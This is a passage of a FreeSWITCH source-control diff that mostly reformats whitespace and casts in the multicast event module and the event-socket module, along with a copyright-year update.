+ EVP_EncryptUpdate(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH,
+ &outlen, (unsigned char *) packet, (int) strlen(packet));
+ EVP_EncryptUpdate(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen,
+ &tmplen, (unsigned char *) MAGIC, (int) strlen((char *) MAGIC));
outlen += tmplen;
- EVP_EncryptFinal(&ctx, (unsigned char*) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &tmplen);
+ EVP_EncryptFinal(&ctx, (unsigned char *) buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen, &tmplen);
outlen += tmplen;
len = (size_t) outlen + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH;
*(buf + sizeof(globals.host_hash) + SWITCH_UUID_FORMATTED_LENGTH + outlen) = '\0';
} else {
#endif
switch_copy_string(buf + sizeof(globals.host_hash), packet, len - sizeof(globals.host_hash));
- switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char*) MAGIC)+1);
+ switch_copy_string(buf + sizeof(globals.host_hash) + strlen(packet), (char *) MAGIC, strlen((char *) MAGIC) + 1);
#ifdef HAVE_OPENSSL
}
#endif
@@ -354,8 +352,8 @@
for (cur = switch_hash_first(NULL, globals.peer_hash); cur; cur = switch_hash_next(cur)) {
switch_hash_this(cur, &key, &keylen, &value);
- host = (char*) key;
- last = (struct peer_status*) value;
+ host = (char *) key;
+ last = (struct peer_status *) value;
stream->write_function(stream, "Peer %s %s; last seen %d seconds ago\n", host, last->active ? "UP" : "DOWN", now - last->lastseen);
i++;
@@ -420,7 +418,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Bind Error\n");
switch_goto_status(SWITCH_STATUS_TERM, fail);
}
-
+
if (switch_event_reserve_subclass(MULTICAST_EVENT) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't register subclass %s!\n", MULTICAST_EVENT);
switch_goto_status(SWITCH_STATUS_GENERR, fail);
@@ -440,7 +438,6 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
switch_goto_status(SWITCH_STATUS_GENERR, fail);
}
-
#ifdef USE_NONBLOCK
switch_socket_opt_set(globals.udp_socket, SWITCH_SO_NONBLOCK, TRUE);
#endif
@@ -454,7 +451,7 @@
return SWITCH_STATUS_SUCCESS;
- fail:
+ fail:
if (globals.udp_socket) {
switch_socket_close(globals.udp_socket);
@@ -512,7 +509,6 @@
if ((status = switch_socket_recvfrom(addr, globals.udp_socket, 0, buf, &len)) != SWITCH_STATUS_SUCCESS || !len || !globals.running) {
break;
}
-
#ifdef USE_NONBLOCK
if (!len) {
if (SWITCH_STATUS_IS_BREAK(status)) {
@@ -532,7 +528,7 @@
}
#ifdef HAVE_OPENSSL
if (globals.psk) {
- char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
+ char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
char *tmp;
int outl, tmplen;
EVP_CIPHER_CTX ctx;
@@ -549,22 +545,21 @@
EVP_CIPHER_CTX_init(&ctx);
EVP_DecryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
- EVP_DecryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
- EVP_DecryptUpdate(&ctx, (unsigned char*) tmp,
- &outl, (unsigned char*) packet, (int) len);
- EVP_DecryptFinal(&ctx, (unsigned char*) tmp + outl, &tmplen);
+ EVP_DecryptInit(&ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
+ EVP_DecryptUpdate(&ctx, (unsigned char *) tmp, &outl, (unsigned char *) packet, (int) len);
+ EVP_DecryptFinal(&ctx, (unsigned char *) tmp + outl, &tmplen);
*(tmp + outl + tmplen) = '\0';
- /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decrypted event as %s\n----------\n of actual length %d (%d) %d\n", tmp, outl + tmplen, (int) len, (int) strlen(tmp));*/
+ /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decrypted event as %s\n----------\n of actual length %d (%d) %d\n", tmp, outl + tmplen, (int) len, (int) strlen(tmp)); */
packet = tmp;
}
#endif
if ((m = strchr(packet, (int) MAGIC[0])) != 0) {
- /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found start of magic string\n");*/
- if (!strncmp((char*) MAGIC, m, strlen((char*) MAGIC))) {
- /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found entire magic string\n");*/
+ /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found start of magic string\n"); */
+ if (!strncmp((char *) MAGIC, m, strlen((char *) MAGIC))) {
+ /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found entire magic string\n"); */
*m = '\0';
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Failed to find entire magic string\n");
@@ -575,7 +570,7 @@
continue;
}
- /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet);*/
+ /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet); */
if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_EVENT) == SWITCH_STATUS_SUCCESS) {
char *var, *val, *term = NULL, tmpname[128];
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Multicast", "yes");
Modified: freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c (16578 => 16579)
--- freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_event_socket/mod_event_socket.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -98,7 +98,7 @@
typedef struct listener listener_t;
static struct {
- switch_mutex_t *listener_mutex;
+ switch_mutex_t *listener_mutex;
switch_event_node_t *node;
int debug;
} globals;
@@ -133,8 +133,8 @@
{
uint32_t id;
switch_mutex_lock(globals.listener_mutex);
- id = ++prefs.id;
- switch_mutex_unlock(globals.listener_mutex);
+ id = ++prefs.id;
+ switch_mutex_unlock(globals.listener_mutex);
return id;
}
@@ -147,12 +147,12 @@
static switch_status_t socket_logger(const switch_log_node_t *node, switch_log_level_t level)
{
listener_t *l;
-
+
switch_mutex_lock(globals.listener_mutex);
for (l = listen_list.listeners; l; l = l->next) {
if (switch_test_flag(l, LFLAG_LOG) && l->level >= node->level) {
- switch_log_node_t *dnode = switch_log_node_dup(node);
-
+ switch_log_node_t *dnode = switch_log_node_dup(node);
+
if (switch_queue_trypush(l->log_queue, dnode) == SWITCH_STATUS_SUCCESS) {
if (l->lost_logs) {
int ll = l->lost_logs;
@@ -191,17 +191,19 @@
if (listener->event_queue) {
while (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
switch_event_t *pevent = (switch_event_t *) pop;
- if (!pop) continue;
+ if (!pop)
+ continue;
switch_event_destroy(&pevent);
}
}
}
-static switch_status_t expire_listener(listener_t **listener)
+static switch_status_t expire_listener(listener_t ** listener)
{
listener_t *l;
- if (!listener || !*listener) return SWITCH_STATUS_FALSE;
+ if (!listener || !*listener)
+ return SWITCH_STATUS_FALSE;
l = *listener;
if (!l->expire_time) {
@@ -218,12 +220,12 @@
switch_core_hash_destroy(&l->event_hash);
if (l->allowed_event_hash) {
- switch_core_hash_destroy(&l->allowed_event_hash);
- }
+ switch_core_hash_destroy(&l->allowed_event_hash);
+ }
if (l->allowed_api_hash) {
- switch_core_hash_destroy(&l->allowed_api_hash);
- }
+ switch_core_hash_destroy(&l->allowed_api_hash);
+ }
switch_mutex_lock(l->filter_mutex);
@@ -250,11 +252,11 @@
if (!listen_list.ready) {
return;
}
-
+
lp = listen_list.listeners;
switch_mutex_lock(globals.listener_mutex);
- while(lp) {
+ while (lp) {
int send = 0;
l = lp;
@@ -270,11 +272,11 @@
continue;
}
}
-
+
if (l->expire_time || !switch_test_flag(l, LFLAG_EVENTS)) {
last = l;
continue;
- }
+ }
if (l->event_list[SWITCH_EVENT_ALL]) {
send = 1;
@@ -283,7 +285,7 @@
send = 1;
}
}
-
+
if (send && l->filters && l->filters->headers) {
switch_event_header_t *hp;
const char *hval;
@@ -313,12 +315,12 @@
if (!comp_to) {
continue;
}
-
+
if (*hp->value == '/') {
switch_regex_t *re = NULL;
int ovector[30];
cmp = !!switch_regex_perform(hval, comp_to, &re, ovector, sizeof(ovector) / sizeof(ovector[0]));
- switch_regex_safe_free(re);
+ switch_regex_safe_free(re);
} else {
cmp = !strcasecmp(hval, comp_to);
}
@@ -335,7 +337,7 @@
}
switch_mutex_unlock(l->filter_mutex);
}
-
+
if (send && switch_test_flag(l, LFLAG_MYEVENTS)) {
char *uuid = switch_event_get_header(event, "unique-id");
if (!uuid || strcmp(uuid, switch_core_session_get_uuid(l->session))) {
@@ -460,19 +462,19 @@
}
}
- if (switch_test_flag(listener, LFLAG_ASYNC)) {
+ if (switch_test_flag(listener, LFLAG_ASYNC)) {
const char *var;
-
+
launch_listener_thread(listener);
- while(switch_channel_ready(channel) && !switch_test_flag(listener, LFLAG_CONNECTED)) {
+ while (switch_channel_ready(channel) && !switch_test_flag(listener, LFLAG_CONNECTED)) {
switch_cond_next();
}
-
+
switch_ivr_park(session, NULL);
switch_ivr_parse_all_events(session);
-
+
if (switch_test_flag(listener, LFLAG_RESUME) || ((var = switch_channel_get_variable(channel, "socket_resume")) && switch_true(var))) {
switch_channel_set_state(channel, CS_EXECUTE);
}
@@ -491,7 +493,7 @@
}
-static void close_socket(switch_socket_t **sock)
+static void close_socket(switch_socket_t ** sock)
{
switch_mutex_lock(listen_list.sock_mutex);
if (*sock) {
@@ -524,7 +526,7 @@
switch_event_unbind(&globals.node);
switch_safe_free(prefs.ip);
- switch_safe_free(prefs.password);
+ switch_safe_free(prefs.password);
return SWITCH_STATUS_SUCCESS;
}
@@ -616,25 +618,25 @@
listener_t *listener = NULL;
if (stream->param_event) {
- http = switch_event_get_header(stream->param_event, "http-host");
+ http = switch_event_get_header(stream->param_event, "http-host");
wcmd = switch_event_get_header(stream->param_event, "command");
format = switch_event_get_header(stream->param_event, "format");
- }
+ }
if (!http) {
stream->write_function(stream, "This is a web application!\n");
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
stream->write_function(stream, "Content-Type: text/xml\n\n");
-
+
stream->write_function(stream, "<?xml version=\"1.0\"?>\n");
stream->write_function(stream, "<root>\n");
-
+
if (!wcmd) {
stream->write_function(stream, "<data><reply type=\"error\">Missing command parameter!</reply></data>\n");
goto end;
}
-
+
if (!format) {
format = "xml";
}
@@ -653,15 +655,15 @@
if (!(listener = find_listener(idl))) {
stream->write_function(stream, "<data><reply type=\"error\">Invalid Listen-ID</reply></data>\n");
- goto end;
+ goto end;
}
if (zstr(action)) {
stream->write_function(stream, "<data><reply type=\"error\">Invalid Syntax</reply></data>\n");
- goto end;
+ goto end;
}
- switch_mutex_lock(listener->filter_mutex);
+ switch_mutex_lock(listener->filter_mutex);
if (!listener->filters) {
switch_event_create_plain(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
}
@@ -690,7 +692,7 @@
stream->write_function(stream, "<data><reply type=\"error\">Invalid Syntax</reply></data>\n");
}
- filter_end:
+ filter_end:
switch_mutex_unlock(listener->filter_mutex);
@@ -704,7 +706,7 @@
if (!(listener = find_listener(idl))) {
stream->write_function(stream, "<data><reply type=\"error\">Invalid Listen-ID</reply></data>\n");
- goto end;
+ goto end;
}
if (switch_test_flag(listener, LFLAG_LOG)) {
@@ -727,7 +729,7 @@
if (!(listener = find_listener(idl))) {
stream->write_function(stream, "<data><reply type=\"error\">Invalid Listen-ID</reply></data>\n");
- goto end;
+ goto end;
}
if (loglevel) {
@@ -753,7 +755,7 @@
uint32_t count = 0, key_count = 0;
uint8_t custom = 0;
char *edup;
-
+
if (zstr(events) && zstr(loglevel)) {
stream->write_function(stream, "<data><reply type=\"error\">Missing parameter!</reply></data>\n");
goto end;
@@ -784,7 +786,7 @@
listener->id = next_id();
listener->timeout = 60;
listener->last_flush = switch_epoch_time_now(NULL);
-
+
if (events) {
char delim = ',';
@@ -793,7 +795,7 @@
} else {
listener->format = EVENT_FORMAT_PLAIN;
}
-
+
edup = strdup(events);
if (strchr(edup, ' ')) {
@@ -802,7 +804,7 @@
for (cur = edup; cur; count++) {
switch_event_types_t type;
-
+
if ((next = strchr(cur, delim))) {
*next++ = '\0';
}
@@ -824,11 +826,11 @@
custom++;
}
}
-
+
cur = next;
}
-
+
switch_safe_free(edup);
if (!key_count) {
@@ -849,9 +851,9 @@
if (globals.debug > 0) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Creating event-sink listener [%u]\n", listener->id);
}
-
+
goto end;
- } else if (!strcasecmp(wcmd, "destroy-listener")) {
+ } else if (!strcasecmp(wcmd, "destroy-listener")) {
char *id = switch_event_get_header(stream->param_event, "listen-id");
uint32_t idl = 0;
@@ -881,7 +883,7 @@
uint32_t idl = 0;
void *pop;
switch_event_t *pevent = NULL;
-
+
if (id) {
idl = (uint32_t) atol(id);
}
@@ -892,7 +894,7 @@
}
listener->last_flush = switch_epoch_time_now(NULL);
- stream->write_function(stream, "<data>\n <reply type=\"success\">Current Events Follow</reply>\n");
+ stream->write_function(stream, "<data>\n <reply type=\"success\">Current Events Follow</reply>\n");
xmlize_listener(listener, stream);
if (switch_test_flag(listener, LFLAG_LOG)) {
@@ -902,22 +904,16 @@
switch_log_node_t *dnode = (switch_log_node_t *) pop;
int encode_len = (strlen(dnode->data) * 3) + 1;
char *encode_buf = malloc(encode_len);
-
+
switch_assert(encode_buf);
-
+
memset(encode_buf, 0, encode_len);
switch_url_encode((char *) dnode->data, encode_buf, encode_len);
-
- stream->write_function(stream, "<log log-level=\"%d\" text-channel=\"%d\" log-file=\"%s\" log-func=\"%s\" log-line=\"%d\" user-data=\"%s\">%s</log>\n",
- dnode->level,
- dnode->channel,
- dnode->file,
- dnode->func,
- dnode->line,
- switch_str_nil(dnode->userdata),
- encode_buf
- );
+
+ stream->write_function(stream,
+ "<log log-level=\"%d\" text-channel=\"%d\" log-file=\"%s\" log-func=\"%s\" log-line=\"%d\" user-data=\"%s\">%s</log>\n",
+ dnode->level, dnode->channel, dnode->file, dnode->func, dnode->line, switch_str_nil(dnode->userdata), encode_buf);
free(encode_buf);
switch_log_node_free(&dnode);
}
@@ -949,7 +945,7 @@
stream->write_function(stream, "%s\n", listener->ebuf);
}
-
+
switch_safe_free(listener->ebuf);
switch_event_destroy(&pevent);
}
@@ -965,7 +961,7 @@
char *api_command = switch_event_get_header(stream->param_event, "fsapi-command");
char *api_args = switch_event_get_header(stream->param_event, "fsapi-args");
switch_event_t *event, *oevent;
-
+
if (!(api_command)) {
stream->write_function(stream, "<data><reply type=\"error\">INVALID API COMMAND!</reply></data>\n");
goto end;
@@ -991,10 +987,10 @@
stream->write_function(stream, "<data><reply type=\"error\">INVALID COMMAND!</reply></data\n");
}
- end:
+ end:
stream->write_function(stream, "</root>\n\n");
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -1015,7 +1011,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
return SWITCH_STATUS_GENERR;
}
-
+
switch_log_bind_logger(socket_logger, SWITCH_LOG_DEBUG, SWITCH_FALSE);
/* connect my internal structure to the blank pointer passed to me */
@@ -1062,7 +1058,7 @@
mlen = 1;
status = switch_socket_recv(listener->sock, ptr, &mlen);
-
+
if (prefs.done || (!SWITCH_STATUS_IS_BREAK(status) && status != SWITCH_STATUS_SUCCESS)) {
return SWITCH_STATUS_FALSE;
}
@@ -1119,34 +1115,34 @@
switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, var, val);
if (!strcasecmp(var, "content-length")) {
clen = atoi(val);
-
+
if (clen > 0) {
char *body;
char *p;
-
+
switch_zmalloc(body, clen + 1);
p = body;
- while(clen > 0) {
+ while (clen > 0) {
mlen = clen;
-
+
status = switch_socket_recv(listener->sock, p, &mlen);
if (prefs.done || (!SWITCH_STATUS_IS_BREAK(status) && status != SWITCH_STATUS_SUCCESS)) {
return SWITCH_STATUS_FALSE;
}
-
+
/*
- if (channel && !switch_channel_ready(channel)) {
- status = SWITCH_STATUS_FALSE;
- break;
- }
- */
+ if (channel && !switch_channel_ready(channel)) {
+ status = SWITCH_STATUS_FALSE;
+ break;
+ }
+ */
clen -= (int) mlen;
p += mlen;
}
-
+
switch_event_add_body(*event, "%s", body);
free(body);
}
@@ -1154,13 +1150,13 @@
}
}
}
-
+
cur = next;
}
break;
}
}
-
+
if (timeout) {
elapsed = (uint32_t) (switch_epoch_time_now(NULL) - start);
if (elapsed >= timeout) {
@@ -1173,9 +1169,9 @@
if (switch_test_flag(listener, LFLAG_LOG)) {
if (switch_queue_trypop(listener->log_queue, &pop) == SWITCH_STATUS_SUCCESS) {
switch_log_node_t *dnode = (switch_log_node_t *) pop;
-
+
if (dnode->data) {
- switch_snprintf(buf, sizeof(buf),
+ switch_snprintf(buf, sizeof(buf),
"Content-Type: log/data\n"
"Content-Length: %" SWITCH_SSIZE_T_FMT "\n"
"Log-Level: %d\n"
@@ -1186,25 +1182,20 @@
"User-Data: %s\n"
"\n",
strlen(dnode->data),
- dnode->level,
- dnode->channel,
- dnode->file,
- dnode->func,
- dnode->line,
- switch_str_nil(dnode->userdata)
- );
+ dnode->level, dnode->channel, dnode->file, dnode->func, dnode->line, switch_str_nil(dnode->userdata)
+ );
len = strlen(buf);
switch_socket_send(listener->sock, buf, &len);
len = strlen(dnode->data);
switch_socket_send(listener->sock, dnode->data, &len);
}
-
+
switch_log_node_free(&dnode);
do_sleep = 0;
}
}
-
+
if (listener->session) {
switch_channel_t *chan = switch_core_session_get_channel(listener->session);
if (switch_channel_get_state(chan) < CS_HANGUP && switch_channel_test_flag(chan, CF_DIVERT_EVENTS)) {
@@ -1223,7 +1214,7 @@
char hbuf[512];
switch_event_t *pevent = (switch_event_t *) pop;
char *etype;
-
+
do_sleep = 0;
if (listener->format == EVENT_FORMAT_PLAIN) {
etype = "plain";
@@ -1242,7 +1233,7 @@
}
switch_assert(listener->ebuf);
-
+
len = strlen(listener->ebuf);
switch_snprintf(hbuf, sizeof(hbuf), "Content-Length: %" SWITCH_SSIZE_T_FMT "\n" "Content-Type: text/event-%s\n" "\n", len, etype);
@@ -1252,10 +1243,10 @@
len = strlen(listener->ebuf);
switch_socket_send(listener->sock, listener->ebuf, &len);
-
+
switch_safe_free(listener->ebuf);
- endloop:
+ endloop:
switch_event_destroy(&pevent);
}
@@ -1268,15 +1259,13 @@
char message[128] = "";
char disco_buf[512] = "";
- switch_snprintf(message, sizeof(message),
+ switch_snprintf(message, sizeof(message),
"Channel %s has disconnected, lingering by request from remote.\n", switch_channel_get_name(channel));
mlen = strlen(message);
switch_snprintf(disco_buf, sizeof(disco_buf), "Content-Type: text/disconnect-notice\n"
"Controlled-Session-UUID: %s\n"
- "Content-Disposition: linger\n"
- "Content-Length: %d\n\n",
- switch_core_session_get_uuid(listener->session), (int)mlen);
+ "Content-Disposition: linger\n" "Content-Length: %d\n\n", switch_core_session_get_uuid(listener->session), (int) mlen);
len = strlen(disco_buf);
switch_socket_send(listener->sock, disco_buf, &len);
@@ -1287,7 +1276,7 @@
break;
}
}
-
+
if (do_sleep) {
switch_cond_next();
}
@@ -1320,7 +1309,7 @@
prefs.threads++;
switch_mutex_unlock(globals.listener_mutex);
-
+
if (!acs) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Internal error.\n");
goto cleanup;
@@ -1332,11 +1321,11 @@
acs->ack = -1;
goto done;
}
-
+
acs->ack = 1;
-
+
SWITCH_STANDARD_STREAM(stream);
-
+
if (acs->console_execute) {
if ((status = switch_console_execute(acs->api_cmd, 0, &stream)) != SWITCH_STATUS_SUCCESS) {
stream.write_function(&stream, "%s: Command not found!\n", acs->api_cmd);
@@ -1396,19 +1385,20 @@
switch_memory_pool_t *pool = acs->pool;
if (acs->ack == -1) {
int sanity = 2000;
- while(acs->ack == -1) {
+ while (acs->ack == -1) {
switch_cond_next();
- if (--sanity <= 0) break;
+ if (--sanity <= 0)
+ break;
}
}
acs = NULL;
switch_core_destroy_memory_pool(&pool);
pool = NULL;
-
+
}
- cleanup:
+ cleanup:
switch_mutex_lock(globals.listener_mutex);
prefs.threads--;
switch_mutex_unlock(globals.listener_mutex);
@@ -1426,14 +1416,14 @@
char *next = NULL;
switch_bool_t ok = SWITCH_TRUE;
- top:
+ top:
if (!switch_core_hash_find(listener->allowed_api_hash, check_cmd)) {
ok = SWITCH_FALSE;
goto end;
}
-
- while(check_cmd) {
+
+ while (check_cmd) {
for (x = 0; sneaky_commands[x]; x++) {
if (!strcasecmp(sneaky_commands[x], check_cmd)) {
if (check_cmd == api_cmd) {
@@ -1452,7 +1442,7 @@
} else {
check_cmd = dup_arg;
}
-
+
if ((next = strchr(check_cmd, ' '))) {
*next++ = '\0';
}
@@ -1463,11 +1453,11 @@
break;
}
- end:
+ end:
switch_safe_free(dup_arg);
return ok;
-
+
}
static switch_status_t parse_command(listener_t *listener, switch_event_t **event, char *reply, uint32_t reply_len)
@@ -1476,14 +1466,14 @@
char *cmd = switch_event_get_header(*event, "command");
char unload_cheat[] = "api bgapi unload mod_event_socket";
char reload_cheat[] = "api bgapi reload mod_event_socket";
-
+
*reply = '\0';
if (switch_stristr("unload", cmd) && switch_stristr("mod_event_socket", cmd)) {
cmd = unload_cheat;
} else if (switch_stristr("reload", cmd) && switch_stristr("mod_event_socket", cmd)) {
cmd = reload_cheat;
- }
+ }
if (!strncasecmp(cmd, "exit", 4) || !strncasecmp(cmd, "...", 3)) {
switch_clear_flag_locked(listener, LFLAG_RUNNING);
@@ -1522,8 +1512,8 @@
char api_reply[512] = "Allowed-API: all\n";
char log_reply[512] = "";
int allowed_log = 1;
-
+
switch_clear_flag(listener, LFLAG_ALLOW_LOG);
strip_cr(cmd);
@@ -1548,11 +1538,11 @@
passwd = NULL;
allowed_events = NULL;
allowed_api = NULL;
-
+
params = NULL;
x_domain_root = NULL;
-
+
switch_event_create(¶ms, SWITCH_EVENT_REQUEST_PARAMS);
switch_assert(params);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "action", "event_socket_auth");
@@ -1565,7 +1555,7 @@
list[1] = x_group;
list[2] = x_user;
- for (x = 0 ; x < 3; x++) {
+ for (x = 0; x < 3; x++) {
if ((x_params = switch_xml_child(list[x], "params"))) {
for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
const char *var = switch_xml_attr_soft(x_param, "name");
@@ -1587,10 +1577,10 @@
authed = 0;
goto bot;
}
-
+
if (!zstr(passwd) && !zstr(pass) && !strcmp(passwd, pass)) {
authed = 1;
-
+
if (allowed_events) {
char delim = ',';
char *cur, *next;
@@ -1601,17 +1591,17 @@
switch_snprintf(event_reply, sizeof(event_reply), "Allowed-Events: %s\n", allowed_events);
switch_core_hash_init(&listener->allowed_event_hash, listener->pool);
-
+
edup = strdup(allowed_events);
cur = edup;
if (strchr(edup, ' ')) {
delim = ' ';
}
-
+
for (cur = edup; cur; count++) {
switch_event_types_t type;
-
+
if ((next = strchr(cur, delim))) {
*next++ = '\0';
}
@@ -1630,15 +1620,15 @@
if (type <= SWITCH_EVENT_ALL) {
listener->allowed_event_list[type] = 1;
}
-
+
if (type == SWITCH_EVENT_CUSTOM) {
custom++;
}
}
-
+
cur = next;
}
-
+
switch_safe_free(edup);
}
@@ -1656,14 +1646,14 @@
switch_snprintf(api_reply, sizeof(api_reply), "Allowed-API: %s\n", allowed_api);
switch_core_hash_init(&listener->allowed_api_hash, listener->pool);
-
+
edup = strdup(allowed_api);
cur = edup;
if (strchr(edup, ' ')) {
delim = ' ';
}
-
+
for (cur = edup; cur; count++) {
if ((next = strchr(cur, delim))) {
*next++ = '\0';
@@ -1673,19 +1663,19 @@
cur = next;
}
-
+
switch_safe_free(edup);
}
}
-
- bot:
+ bot:
+
if (params) {
switch_event_destroy(¶ms);
}
-
+
if (authed) {
switch_set_flag_locked(listener, LFLAG_AUTHED);
switch_snprintf(reply, reply_len, "~Reply-Text: +OK accepted\n%s%s%s\n", event_reply, api_reply, log_reply);
@@ -1693,10 +1683,10 @@
switch_snprintf(reply, reply_len, "-ERR invalid");
switch_clear_flag_locked(listener, LFLAG_RUNNING);
}
-
+
if (x_domain_root) {
switch_xml_free(x_domain_root);
- }
+ }
}
@@ -1709,17 +1699,18 @@
strip_cr(header_name);
- while(header_name && *header_name && *header_name == ' ') header_name++;
-
+ while (header_name && *header_name && *header_name == ' ')
+ header_name++;
+
if ((header_val = strchr(header_name, ' '))) {
*header_val++ = '\0';
}
-
- switch_mutex_lock(listener->filter_mutex);
+
+ switch_mutex_lock(listener->filter_mutex);
if (!listener->filters) {
switch_event_create_plain(&listener->filters, SWITCH_EVENT_CHANNEL_DATA);
}
-
+
if (!strcasecmp(header_name, "delete") && header_val) {
header_name = header_val;
if ((header_val = strchr(header_name, ' '))) {
@@ -1748,9 +1739,9 @@
goto done;
}
-
+
if (listener->session && !strncasecmp(cmd, "resume", 6)) {
- switch_set_flag_locked(listener, LFLAG_RESUME);
+ switch_set_flag_locked(listener, LFLAG_RESUME);
switch_channel_set_variable(switch_core_session_get_channel(listener->session), "socket_resume", "true");
switch_snprintf(reply, reply_len, "+OK");
goto done;
@@ -1768,9 +1759,9 @@
char *event_str;
switch_size_t len;
- switch_set_flag_locked(listener, LFLAG_CONNECTED);
+ switch_set_flag_locked(listener, LFLAG_CONNECTED);
switch_event_create(&call_event, SWITCH_EVENT_CHANNEL_DATA);
-
+
if (channel) {
switch_caller_profile_event_set_data(switch_channel_get_caller_profile(channel), "Channel", call_event);
switch_channel_event_set_data(channel, call_event);
@@ -1811,10 +1802,10 @@
if (!listener->session) {
char *uuid;
-
+
if ((uuid = cmd + 9)) {
strip_cr(uuid);
-
+
if (!(listener->session = switch_core_session_locate(uuid))) {
switch_snprintf(reply, reply_len, "-ERR invalid uuid");
goto done;
@@ -1823,8 +1814,8 @@
switch_set_flag_locked(listener, LFLAG_SESSION);
switch_set_flag_locked(listener, LFLAG_ASYNC);
}
-
+
}
listener->event_list[SWITCH_EVENT_CHANNEL_ANSWER] = 1;
@@ -1864,19 +1855,19 @@
if (!strncasecmp(cmd, "divert_events", 13)) {
char *onoff = cmd + 13;
switch_channel_t *channel;
-
+
if (!listener->session) {
switch_snprintf(reply, reply_len, "-ERR not controlling a session.");
goto done;
}
channel = switch_core_session_get_channel(listener->session);
-
+
if (onoff) {
- while(*onoff == ' ') {
+ while (*onoff == ' ') {
onoff++;
}
-
+
if (*onoff == '\r' || *onoff == '\n') {
onoff = NULL;
} else {
@@ -1889,7 +1880,7 @@
goto done;
}
-
+
if (!strcasecmp(onoff, "on")) {
switch_snprintf(reply, reply_len, "+OK events diverted");
switch_channel_set_flag(channel, CF_DIVERT_EVENTS);
@@ -1907,11 +1898,11 @@
char *uuid = cmd + 7;
const char *async_var = switch_event_get_header(*event, "async");
int async = switch_test_flag(listener, LFLAG_ASYNC);
-
+
if (switch_true(async_var)) {
async = 1;
}
-
+
if (uuid) {
while (*uuid == ' ') {
uuid++;
@@ -1923,7 +1914,7 @@
strip_cr(uuid);
}
}
-
+
if (zstr(uuid)) {
uuid = switch_event_get_header(*event, "session-id");
}
@@ -1955,11 +1946,11 @@
switch_snprintf(reply, reply_len, "-ERR invalid session id [%s]", switch_str_nil(uuid));
}
}
-
+
goto done;
}
-
+
if (switch_test_flag(listener, LFLAG_OUTBOUND) && !switch_test_flag(listener, LFLAG_FULL)) {
goto done;
}
@@ -2000,7 +1991,7 @@
switch_core_session_rwunlock(dsession);
}
}
-
+
if (*event) {
switch_event_fire(event);
}
@@ -2009,7 +2000,7 @@
} else if (!strncasecmp(cmd, "api ", 4)) {
struct api_command_struct acs = { 0 };
char *console_execute = switch_event_get_header(*event, "console_execute");
-
+
char *api_cmd = cmd + 4;
char *arg = NULL;
strip_cr(api_cmd);
@@ -2027,14 +2018,14 @@
goto done;
}
}
-
+
acs.listener = listener;
acs.api_cmd = api_cmd;
acs.arg = arg;
acs.bg = 0;
-
+
api_exec(NULL, (void *) &acs);
status = SWITCH_STATUS_SUCCESS;
@@ -2092,9 +2083,10 @@
switch_snprintf(reply, reply_len, "~Reply-Text: +OK Job-UUID: %s\nJob-UUID: %s\n\n", acs->uuid_str, acs->uuid_str);
switch_thread_create(&thread, thd_attr, api_exec, acs, acs->pool);
sanity = 2000;
- while(!acs->ack) {
+ while (!acs->ack) {
switch_cond_next();
- if (--sanity <= 0) break;
+ if (--sanity <= 0)
+ break;
}
